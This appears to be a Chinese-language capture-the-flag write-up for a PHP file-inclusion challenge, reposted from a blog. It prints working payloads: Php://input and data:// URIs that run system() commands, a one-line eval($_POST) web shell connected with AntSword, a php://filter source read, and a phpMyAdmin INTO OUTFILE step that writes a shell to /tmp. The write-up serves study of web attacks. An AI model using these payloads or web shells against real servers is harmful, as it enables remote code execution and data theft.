• Web_php_include


    Web_php_include

    思路

    审计代码

    <?php
    show_source(__FILE__);
    echo $_GET['hello'];
    $page=$_GET['page'];
    while (strstr($page, "php://")) {
        $page=str_replace("php://", "", $page);
    }
    include($page);
    ?>
    

    可以看到这里直接include($page),$page参数我们可以进行控制,并且用的是str_replace()函数进行过滤,当匹配到php://时就把该部分替换为空,我们可以用别的协议进行绕过,也可大小写

    注意这里有个while循环,故单纯的用phphp://p://是无法进行绕过的

    思路一

    利用php://input协议

    虽然过滤了php://,但是我们可以通过大小写绕过

    构造payload

    ?page=Php://input
    

    POST_DATA:<?php system('ls') ?>

    然后得到目录

    再在

    POST_DATA:<?php system('cat fl4gisisish3r3.php'); ?>

    得到flag

    这里如果利用hackbar,可能post包会交不上去,也不知道为啥,在执行cat文件时,flag并不会显示在页面上,要查看源代码才能看到,这是为啥,也不清楚。。

    思路二

    利用data协议

    构造payload

    ?page=data://text/plain,<?php system('ls'); ?>

    ?page=data://text/plain,<?php system('cat fl4gisisish3r3.php'); ?>

    这里直接在url上执行,用bp的时候不知道为什么执行不了,但是换个编码就行了,不知道为啥,一脑迷
    在bp上执行不了的原因是空格要进行url编码,用+或者%20代替空格才可以执行,类似的还有如果cd%20%26%26ls,%26表示&,如果直接输入&也会执行不了。
    所以在bp中构造
    ?page=data://text/plain,<?php+system('cat%20fl4gisisish3r3.php')%20?>
    当我们用&时,%26代替
    ?page=data://text/plain,<?php+system('cat%20phpinfo.php%26%26cat+fl4gisisish3r3.php')%20?>
    也可以直接用data协议挂马

    ?page=data://text/plain,%3C?php%20@eval($_POST[%27hacker%27]);%20?%3E

    直接往蚁剑上粘贴

    http://220.249.52.133:53841/?page=data://text/plain,%3C?php%20@eval($_POST[%27hacker%27]);%20?%3E

    密码hacker,就连上了后台

    思路三

    ?page=Php://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

    再base64解码下

    思路四

    用dirsearch扫一下,发现有phpmyadmin文件

    进去之后,账号root,密码为空(可能默认这样)

    然后在sql语句中执行

    show variables like "secure_file_priv"

    • 当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
    • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
    • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

    查询为空,说明可以导入和导出文件

    执行

    select "<?php @eval($_POST['hacker']); ?>" into outfile '/tmp/hacker.php'

    注意 select 后面的要写入的文件内容是用双引号引起的,因为如果用单引号的话会与'hacker'中的单引号进行闭合导致报错,在sql语句中还是尽量使用双引号。
    便可在/tmp下找到小马,Linux下一般/tmp文间夹下允许导入文件,如果换成其他文件夹就会报错,然后蚁剑连接。
    http://220.249.52.133:39182/?page=/tmp/hacker.php


    上述特舒情况,用php://input最好用bp,用data协议就直接在url上输入就行

  • 相关阅读:
    Linux下安装JDK
    Flink源码阅读(五)——Flink中任务相关的核心类简析
    使用CloudFlare Worker 来免费部署 JSProxy 服务
    Nginx:进程调度
    Javassist基本用法汇总
    IO
    IO
    springcloud3(五) spring cloud gateway动态路由的四类实现方式
    架构设计(二) 互联网网关平台对比
    Python 的协程
  • 原文地址:https://www.cnblogs.com/NineOne/p/13847113.html
Copyright © 2020-2023  润新知